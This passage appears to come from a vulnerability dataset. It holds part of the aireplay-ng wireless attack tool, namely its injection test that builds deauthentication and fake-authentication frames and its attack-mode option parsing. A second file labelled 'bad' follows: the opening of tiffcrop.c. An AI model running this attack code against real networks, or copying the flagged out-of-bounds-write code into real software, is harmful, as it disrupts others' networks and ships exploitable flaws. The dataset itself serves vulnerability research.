%.2f\n", (min/1000.0), (avg/1000.0), (max/1000.0), avg2); } PCT; printf("%2d/%2d: %3d%%\n\n", ap[i].found, REQUESTS, ((ap[i].found*100)/REQUESTS)); if(!gotit && answers) { PCT; printf("Injection is working!\n\n"); gotit=1; } } if(opt.bittest) { if(found > 0) { PCT; printf("Trying directed probe requests for all bitrates...\n"); } for(i=0; i<found; i++) { if(ap[i].found <= 0) continue; printf("\n"); PCT; printf("%02X:%02X:%02X:%02X:%02X:%02X - channel: %d - \'%s\'\n", ap[i].bssid[0], ap[i].bssid[1], ap[i].bssid[2], ap[i].bssid[3], ap[i].bssid[4], ap[i].bssid[5], ap[i].chan, ap[i].essid); min = INT_MAX; max = 0; avg = 0; memcpy(h80211, PROBE_REQ, 24); len = 24; h80211[24] = 0x00; //ESSID Tag Number h80211[25] = ap[i].len; //ESSID Tag Length memcpy(h80211+len+2, ap[i].essid, ap[i].len); len += ap[i].len+2; memcpy(h80211+len, RATES, 16); len += 16; for(k=0; k<RATE_NUM; k++) { ap[i].found=0; if(set_bitrate(_wi_out, bitrates[k])) continue; avg2 = 0; memset(ap[i].pwr, 0, REQUESTS*sizeof(unsigned int)); for(j=0; j<REQUESTS; j++) { /* random source so we can identify our packets */ opt.r_smac[0] = 0x00; opt.r_smac[1] = rand() & 0xFF; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; opt.r_smac[5] = rand() & 0xFF; memcpy(h80211+10, opt.r_smac, 6); send_packet(h80211, len); gettimeofday( &tv, NULL ); printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1))); fflush(stdout); while (1) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), &ri); if (packet[0] == 0x50 ) //Is probe response { if (! memcmp(opt.r_smac, packet+4, 6)) //To our MAC { if(! memcmp(ap[i].bssid, packet+16, 6)) //From the mentioned AP { if(!answers) { answers++; } ap[i].found++; if((signed)ri.ri_power > -200) ap[i].pwr[j] = (signed)ri.ri_power; break; } } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (100*1000)) //wait 300ms for an answer { break; } usleep(10); } printf( "\r%2d/%2d: %3d%%\r", ap[i].found, j+1, ((ap[i].found*100)/(j+1))); fflush(stdout); } for(j=0; j<REQUESTS; j++) avg2 += ap[i].pwr[j]; if(ap[i].found > 0) avg2 /= ap[i].found; PCT; printf("Probing at %2.1f Mbps:\t%2d/%2d: %3d%%\n", wi_get_rate(_wi_out)/1000000.0, ap[i].found, REQUESTS, ((ap[i].found*100)/REQUESTS)); } if(!gotit && answers) { PCT; printf("Injection is working!\n\n"); if(opt.fast) return 0; gotit=1; } } } if(opt.bittest) set_bitrate(_wi_out, RATE_1M); if( opt.s_face != NULL ) { printf("\n"); PCT; printf("Trying card-to-card injection...\n"); /* sync both cards to the same channel, or the test will fail */ if(wi_get_channel(_wi_out) != wi_get_channel(_wi_in)) { wi_set_channel(_wi_out, wi_get_channel(_wi_in)); } /* Attacks */ for(i=0; i<5; i++) { k=0; /* random macs */ opt.f_smac[0] = 0x00; opt.f_smac[1] = rand() & 0xFF; opt.f_smac[2] = rand() & 0xFF; opt.f_smac[3] = rand() & 0xFF; opt.f_smac[4] = rand() & 0xFF; opt.f_smac[5] = rand() & 0xFF; opt.f_dmac[0] = 0x00; opt.f_dmac[1] = rand() & 0xFF; opt.f_dmac[2] = rand() & 0xFF; opt.f_dmac[3] = rand() & 0xFF; opt.f_dmac[4] = rand() & 0xFF; opt.f_dmac[5] = rand() & 0xFF; opt.f_bssid[0] = 0x00; opt.f_bssid[1] = rand() & 0xFF; opt.f_bssid[2] = rand() & 0xFF; opt.f_bssid[3] = rand() & 0xFF; opt.f_bssid[4] = rand() & 0xFF; opt.f_bssid[5] = rand() & 0xFF; if(i==0) //attack -0 { memcpy( h80211, DEAUTH_REQ, 26 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); memcpy( h80211 + 4, opt.f_dmac, 6 ); memcpy( h80211 + 10, opt.f_smac, 6 ); opt.f_iswep = 0; opt.f_tods = 0; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 26; } else if(i==1) //attack -1 (open) { memcpy( h80211, AUTH_REQ, 30 ); memcpy( h80211 + 4, opt.f_dmac, 6 ); memcpy( h80211 + 10, opt.f_smac , 6 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); opt.f_iswep = 0; opt.f_tods = 0; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 30; } else if(i==2) //attack -1 (psk) { memcpy( h80211, ska_auth3, 24); memcpy( h80211 + 4, opt.f_dmac, 6); memcpy( h80211 + 10, opt.f_smac, 6); memcpy( h80211 + 16, opt.f_bssid, 6); //iv+idx h80211[24] = 0x86; h80211[25] = 0xD8; h80211[26] = 0x2E; h80211[27] = 0x00; //random bytes (as encrypted data) for(j=0; j<132; j++) h80211[28+j] = rand() & 0xFF; opt.f_iswep = 1; opt.f_tods = 0; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 24+4+132; } else if(i==3) //attack -3 { memcpy( h80211, NULL_DATA, 24); memcpy( h80211 + 4, opt.f_bssid, 6); memcpy( h80211 + 10, opt.f_smac, 6); memcpy( h80211 + 16, opt.f_dmac, 6); //iv+idx h80211[24] = 0x86; h80211[25] = 0xD8; h80211[26] = 0x2E; h80211[27] = 0x00; //random bytes (as encrypted data) for(j=0; j<132; j++) h80211[28+j] = rand() & 0xFF; opt.f_iswep = -1; opt.f_tods = 1; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 24+4+132; } else if(i==4) //attack -5 { memcpy( h80211, NULL_DATA, 24); memcpy( h80211 + 4, opt.f_bssid, 6); memcpy( h80211 + 10, opt.f_smac, 6); memcpy( h80211 + 16, opt.f_dmac, 6); h80211[1] |= 0x04; h80211[22] = 0x0A; h80211[23] = 0x00; //iv+idx h80211[24] = 0x86; h80211[25] = 0xD8; h80211[26] = 0x2E; h80211[27] = 0x00; //random bytes (as encrypted data) for(j=0; j<7; j++) h80211[28+j] = rand() & 0xFF; opt.f_iswep = -1; opt.f_tods = 1; opt.f_fromds = 0; opt.f_minlen = opt.f_maxlen = 24+4+7; } for(j=0; (j<(REQUESTS/4) && !k); j++) //try it 5 times { send_packet( h80211, opt.f_minlen ); gettimeofday( &tv, NULL ); while (1) //waiting for relayed packet { caplen = read_packet(packet, sizeof(packet), &ri); if ( filter_packet(packet, caplen) == 0 ) //got same length and same type { if(!answers) { answers++; } if(i == 0) //attack -0 { if( h80211[0] == packet[0] ) { k=1; break; } } else if(i==1) //attack -1 (open) { if( h80211[0] == packet[0] ) { k=1; break; } } else if(i==2) //attack -1 (psk) { if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 ) { k=1; break; } } else if(i==3) //attack -2/-3/-4/-6 { if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 ) { k=1; break; } } else if(i==4) //attack -5/-7 { if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 ) { if( (packet[1] & 0x04) && memcmp( h80211+22, packet+22, 2 ) == 0 ) { k=1; break; } } } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3*atime*1000)) //wait 3*'atime' ms for an answer { break; } usleep(10); } } if(k) { k=0; if(i==0) //attack -0 { PCT; printf("Attack -0: OK\n"); } else if(i==1) //attack -1 (open) { PCT; printf("Attack -1 (open): OK\n"); } else if(i==2) //attack -1 (psk) { PCT; printf("Attack -1 (psk): OK\n"); } else if(i==3) //attack -3 { PCT; printf("Attack -2/-3/-4/-6: OK\n"); } else if(i==4) //attack -5 { PCT; printf("Attack -5/-7: OK\n"); } } else { if(i==0) //attack -0 { PCT; printf("Attack -0: Failed\n"); } else if(i==1) //attack -1 (open) { PCT; printf("Attack -1 (open): Failed\n"); } else if(i==2) //attack -1 (psk) { PCT; printf("Attack -1 (psk): Failed\n"); } else if(i==3) //attack -3 { PCT; printf("Attack -2/-3/-4/-6: Failed\n"); } else if(i==4) //attack -5 { PCT; printf("Attack -5/-7: Failed\n"); } } } if(!gotit && answers) { PCT; printf("Injection is working!\n"); if(opt.fast) return 0; gotit=1; } } return 0; } int main( int argc, char *argv[] ) { int n, i, ret; /* check the arguments */ memset( &opt, 0, sizeof( opt ) ); memset( &dev, 0, sizeof( dev ) ); opt.f_type = -1; opt.f_subtype = -1; opt.f_minlen = -1; opt.f_maxlen = -1; opt.f_tods = -1; opt.f_fromds = -1; opt.f_iswep = -1; opt.ringbuffer = 8; opt.a_mode = -1; opt.r_fctrl = -1; opt.ghost = 0; opt.delay = 15; opt.bittest = 0; opt.fast = 0; opt.r_smac_set = 0; opt.npackets = 1; opt.nodetect = 0; opt.rtc = 1; opt.f_retry = 0; opt.reassoc = 0; /* XXX */ #if 0 #if defined(__FreeBSD__) /* check what is our FreeBSD version. injection works only on 7-CURRENT so abort if it's a lower version. */ if( __FreeBSD_version < 700000 ) { fprintf( stderr, "Aireplay-ng does not work on this " "release of FreeBSD.\n" ); exit( 1 ); } #endif #endif while( 1 ) { int option_index = 0; static struct option long_options[] = { {"deauth", 1, 0, '0'}, {"fakeauth", 1, 0, '1'}, {"interactive", 0, 0, '2'}, {"arpreplay", 0, 0, '3'}, {"chopchop", 0, 0, '4'}, {"fragment", 0, 0, '5'}, {"caffe-latte", 0, 0, '6'}, {"cfrag", 0, 0, '7'}, {"test", 0, 0, '9'}, {"help", 0, 0, 'H'}, {"fast", 0, 0, 'F'}, {"bittest", 0, 0, 'B'}, {"migmode", 0, 0, '8'}, {"ignore-negative-one", 0, &opt.ignore_negative_one, 1}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "b:d:s:m:n:u:v:t:T:f:g:w:x:p:a:c:h:e:ji:r:k:l:y:o:q:Q0:1:23456789HFBDR", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'b' : if( getmac( optarg, 1 ,opt.f_bssid ) != 0 ) { printf( "Invalid BSSID (AP MAC address).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'd' : if( getmac( optarg, 1, opt.f_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 's' : if( getmac( optarg, 1, opt.f_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'm' : ret = sscanf( optarg, "%d", &opt.f_minlen ); if( opt.f_minlen < 0 || ret != 1 ) { printf( "Invalid minimum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'n' : ret = sscanf( optarg, "%d", &opt.f_maxlen ); if( opt.f_maxlen < 0 || ret != 1 ) { printf( "Invalid maximum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'u' : ret = sscanf( optarg, "%d", &opt.f_type ); if( opt.f_type < 0 || opt.f_type > 3 || ret != 1 ) { printf( "Invalid type filter. [0-3]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'v' : ret = sscanf( optarg, "%d", &opt.f_subtype ); if( opt.f_subtype < 0 || opt.f_subtype > 15 || ret != 1 ) { printf( "Invalid subtype filter. [0-15]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'T' : ret = sscanf(optarg, "%d", &opt.f_retry); if ((opt.f_retry < 1) || (opt.f_retry > 65535) || (ret != 1)) { printf("Invalid retry setting. [1-65535]\n"); printf("\"%s --help\" for help.\n", argv[0]); return(1); } break; case 't' : ret = sscanf( optarg, "%d", &opt.f_tods ); if(( opt.f_tods != 0 && opt.f_tods != 1 ) || ret != 1 ) { printf( "Invalid tods filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'f' : ret = sscanf( optarg, "%d", &opt.f_fromds ); if(( opt.f_fromds != 0 && opt.f_fromds != 1 ) || ret != 1 ) { printf( "Invalid fromds filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'w' : ret = sscanf( optarg, "%d", &opt.f_iswep ); if(( opt.f_iswep != 0 && opt.f_iswep != 1 ) || ret != 1 ) { printf( "Invalid wep filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'x' : ret = sscanf( optarg, "%d", &opt.r_nbpps ); if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 ) { printf( "Invalid number of packets per second. [1-1024]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'o' : ret = sscanf( optarg, "%d", &opt.npackets ); if( opt.npackets < 0 || opt.npackets > 512 || ret != 1 ) { printf( "Invalid number of packets per burst. [0-512]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'q' : ret = sscanf( optarg, "%d", &opt.delay ); if( opt.delay < 1 || opt.delay > 600 || ret != 1 ) { printf( "Invalid number of seconds. [1-600]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'Q' : opt.reassoc = 1; break; case 'p' : ret = sscanf( optarg, "%x", &opt.r_fctrl ); if( opt.r_fctrl < 0 || opt.r_fctrl > 65535 || ret != 1 ) { printf( "Invalid frame control word. [0-65535]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'a' : if( getmac( optarg, 1, opt.r_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'c' : if( getmac( optarg, 1, opt.r_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'g' : ret = sscanf( optarg, "%d", &opt.ringbuffer ); if( opt.ringbuffer < 1 || ret != 1 ) { printf( "Invalid replay ring buffer size. [>=1]\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'h' : if( getmac( optarg, 1, opt.r_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.r_smac_set=1; break; case 'e' : memset( opt.r_essid, 0, sizeof( opt.r_essid ) ); strncpy( opt.r_essid, optarg, sizeof( opt.r_essid ) - 1 ); break; case 'j' : opt.r_fromdsinj = 1; break; case 'D' : opt.nodetect = 1; break; case 'k' : inet_aton( optarg, (struct in_addr *) opt.r_dip ); break; case 'l' : inet_aton( optarg, (struct in_addr *) opt.r_sip ); break; case 'y' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( read_prga(&(opt.prga), optarg) != 0 ) { return( 1 ); } break; case 'i' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_face = optarg; opt.port_in = get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in)-1); break; case 'r' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_file = optarg; break; case 'z' : opt.ghost = 1; break; case '0' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 0; for (i=0; optarg[i] != 0; i++) { if (isdigit((int)optarg[i]) == 0) break; } ret = sscanf( optarg, "%d", &opt.a_count ); if( opt.a_count < 0 || optarg[i] != 0 || ret != 1) { printf( "Invalid deauthentication count or missing value. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case '1' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 1; for (i=0; optarg[i] != 0; i++) { if (isdigit((int)optarg[i]) == 0) break; } ret = sscanf( optarg, "%d", &opt.a_delay ); if( opt.a_delay < 0 || optarg[i] != 0 || ret != 1) { printf( "Invalid reauthentication delay or missing value. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case '2' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 2; break; case '3' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 3; break; case '4' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 4; break; case '5' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 5; break; case '6' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 6; break; case '7' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 7; break; case '9' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 9; break; case '8' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 8; break; case 'F' : opt.fast = 1; break; case 'B' : opt.bittest = 1; break; case 'H' : printf( usage, getVersion("Aireplay-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); case 'R' : opt.rtc = 0; break; default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Aireplay-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No replay interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( opt.a_mode == -1 ) { printf( "Please specify an attack mode.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( (opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen ) { printf( "Invalid length filter (min(-m):%d > max(-n):%d).\n", opt.f_minlen, opt.f_maxlen ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if ( opt.f_tods == 1 && opt.f_fromds == 1 ) { printf( "FromDS and ToDS bit are set: packet has to come from the AP and go to the AP\n" ); } dev.fd_rtc = -1; /* open the RTC device if necessary */ #if defined(__i386__) #if defined(linux) if( opt.a_mode > 1 ) { if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( (dev.fd_rtc == 0) && ( ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) ) { dev.fd_rtc = 0; } if(opt.rtc == 0) { dev.fd_rtc = -1; } if(dev.fd_rtc > 0) { if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 ) { perror( "ioctl(RTC_IRQP_SET) failed" ); printf( "Make sure enhanced rtc device support is enabled in the kernel (module\n" "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } else { if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { perror( "ioctl(RTC_PIE_ON) failed" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } } } else { printf( "For information, no action required:" " Using gettimeofday() instead of /dev/rtc\n" ); dev.fd_rtc = -1; } } #endif /* linux */ #endif /* i386 */ opt.iface_out = argv[optind]; opt.port_out = get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out)-1); //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_out >= 0 ) ) { /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_in >= 0 ) ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); } /* drop privileges */ if (setuid( getuid() ) == -1) { perror("setuid"); } /* XXX */ if( opt.r_nbpps == 0 ) { if( dev.is_wlanng || dev.is_hostap ) opt.r_nbpps = 200; else opt.r_nbpps = 500; } if( opt.s_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.s_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } //if there is no -h given, use default hardware mac if( maccmp( opt.r_smac, NULL_MAC) == 0 ) { memcpy( opt.r_smac, dev.mac_out, 6); if(opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9) { printf("No source MAC (-h) specified. Using the device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5]); } } if( maccmp( opt.r_smac, dev.mac_out) != 0 && maccmp( opt.r_smac, NULL_MAC) != 0) { // if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment to work on madwifi[-ng], set the interface MAC according to (-h)!\n"); fprintf( stderr, "The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)" " doesn't match the specified MAC (-h).\n" "\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5], opt.iface_out, opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] ); } switch( opt.a_mode ) { case 0 : return( do_attack_deauth() ); case 1 : return( do_attack_fake_auth() ); case 2 : return( do_attack_interactive() ); case 3 : return( do_attack_arp_resend() ); case 4 : return( do_attack_chopchop() ); case 5 : return( do_attack_fragment() ); case 6 : return( do_attack_caffe_latte() ); case 7 : return( do_attack_cfrag() ); case 8 : return( do_attack_migmode() ); case 9 : return( do_attack_test() ); default: break; } /* that's all, folks */ return( 0 ); }
./CrossVul/dataset_final_sorted/CWE-787/c/bad_2312_0
crossvul-cpp_data_bad_5474_4
/* $Id$ */ /* tiffcrop.c -- a port of tiffcp.c extended to include manipulations of * the image data through additional options listed below * * Original code: * Copyright (c) 1988-1997 Sam Leffler * Copyright (c) 1991-1997 Silicon Graphics, Inc. * Additions (c) Richard Nolde 2006-2010 * * Permission to use, copy, modify, distribute, and sell this software and * its documentation for any purpose is hereby granted without fee, provided * that (i) the above copyright notices and this permission notice appear in * all copies of the software and related documentation, and (ii) the names of * Sam Leffler and Silicon Graphics may not be used in any advertising or * publicity relating to the software without the specific, prior written * permission of Sam Leffler and Silicon Graphics. * * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. * * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS OR ANY OTHER COPYRIGHT * HOLDERS BE LIABLE FOR ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL * DAMAGES OF ANY KIND, OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, * DATA OR PROFITS, WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND * ON ANY THEORY OF LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE * OR PERFORMANCE OF THIS SOFTWARE. * * Some portions of the current code are derived from tiffcp, primarly in * the areas of lowlevel reading and writing of TAGS, scanlines and tiles though * some of the original functions have been extended to support arbitrary bit * depths. These functions are presented at the top of this file. * * Add support for the options below to extract sections of image(s) * and to modify the whole image or selected portions of each image by * rotations, mirroring, and colorscale/colormap inversion of selected * types of TIFF images when appropriate. Some color model dependent * functions are restricted to bilevel or 8 bit per sample data. * See the man page for the full explanations. * * New Options: * -h Display the syntax guide. * -v Report the version and last build date for tiffcrop and libtiff. * -z x1,y1,x2,y2:x3,y3,x4,y4:..xN,yN,xN + 1, yN + 1 * Specify a series of coordinates to define rectangular * regions by the top left and lower right corners. * -e c|d|i|m|s export mode for images and selections from input images * combined All images and selections are written to a single file (default) * with multiple selections from one image combined into a single image * divided All images and selections are written to a single file * with each selection from one image written to a new image * image Each input image is written to a new file (numeric filename sequence) * with multiple selections from the image combined into one image * multiple Each input image is written to a new file (numeric filename sequence) * with each selection from the image written to a new image * separated Individual selections from each image are written to separate files * -U units [in, cm, px ] inches, centimeters or pixels * -H # Set horizontal resolution of output images to # * -V # Set vertical resolution of output images to # * -J # Horizontal margin of output page to # expressed in current * units when sectioning image into columns x rows * using the -S cols:rows option. * -K # Vertical margin of output page to # expressed in current * units when sectioning image into columns x rows * using the -S cols:rows option. * -X # Horizontal dimension of region to extract expressed in current * units * -Y # Vertical dimension of region to extract expressed in current * units * -O orient Orientation for output image, portrait, landscape, auto * -P page Page size for output image segments, eg letter, legal, tabloid, * etc. * -S cols:rows Divide the image into equal sized segments using cols across * and rows down * -E t|l|r|b Edge to use as origin * -m #,#,#,# Margins from edges for selection: top, left, bottom, right * (commas separated) * -Z #:#,#:# Zones of the image designated as zone X of Y, * eg 1:3 would be first of three equal portions measured * from reference edge * -N odd|even|#,#-#,#|last * Select sequences and/or ranges of images within file * to process. The words odd or even may be used to specify * all odd or even numbered images the word last may be used * in place of a number in the sequence to indicate the final * image in the file without knowing how many images there are. * -R # Rotate image or crop selection by 90,180,or 270 degrees * clockwise * -F h|v Flip (mirror) image or crop selection horizontally * or vertically * -I [black|white|data|both] * Invert color space, eg dark to light for bilevel and grayscale images * If argument is white or black, set the PHOTOMETRIC_INTERPRETATION * tag to MinIsBlack or MinIsWhite without altering the image data * If the argument is data or both, the image data are modified: * both inverts the data and the PHOTOMETRIC_INTERPRETATION tag, * data inverts the data but not the PHOTOMETRIC_INTERPRETATION tag * -D input:<filename1>,output:<filename2>,format:<raw|txt>,level:N,debug:N * Dump raw data for input and/or output images to individual files * in raw (binary) format or text (ASCII) representing binary data * as strings of 1s and 0s. The filename arguments are used as stems * from which individual files are created for each image. Text format * includes annotations for image parameters and scanline info. Level * selects which functions dump data, with higher numbers selecting * lower level, scanline level routines. Debug reports a limited set * of messages to monitor progess without enabling dump logs. */ static char tiffcrop_version_id[] = "2.4"; static char tiffcrop_rev_date[] = "12-13-2010"; #include "tif_config.h" #include "tiffiop.h" #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> #include <ctype.h> #include <limits.h> #include <sys/stat.h> #include <assert.h> #ifdef HAVE_UNISTD_H # include <unistd.h> #endif #ifdef HAVE_STDINT_H # include <stdint.h> #endif #ifndef HAVE_GETOPT extern int getopt(int argc, char * const argv[], const char *optstring); #endif #ifdef NEED_LIBPORT # include "libport.h" #endif #include "tiffio.h" #if defined(VMS) # define unlink delete #endif #ifndef PATH_MAX #define PATH_MAX 1024 #endif #ifndef streq #define streq(a,b) (strcmp((a),(b)) == 0) #endif #define strneq(a,b,n) (strncmp((a),(b),(n)) == 0) #define TRUE 1 #define FALSE 0 #ifndef TIFFhowmany #define TIFFhowmany(x, y) ((((uint32)(x))+(((uint32)(y))-1))/((uint32)(y))) #define TIFFhowmany8(x) (((x)&0x07)?((uint32)(x)>>3)+1:(uint32)(x)>>3) #endif /* * Definitions and data structures required to support cropping and image * manipulations. */ #define EDGE_TOP 1 #define EDGE_LEFT 2 #define EDGE_BOTTOM 3 #define EDGE_RIGHT 4 #define EDGE_CENTER 5 #define MIRROR_HORIZ 1 #define MIRROR_VERT 2 #define MIRROR_BOTH 3 #define ROTATECW_90 8 #define ROTATECW_180 16 #define ROTATECW_270 32 #define ROTATE_ANY (ROTATECW_90 | ROTATECW_180 | ROTATECW_270) #define CROP_NONE 0 #define CROP_MARGINS 1 #define CROP_WIDTH 2 #define CROP_LENGTH 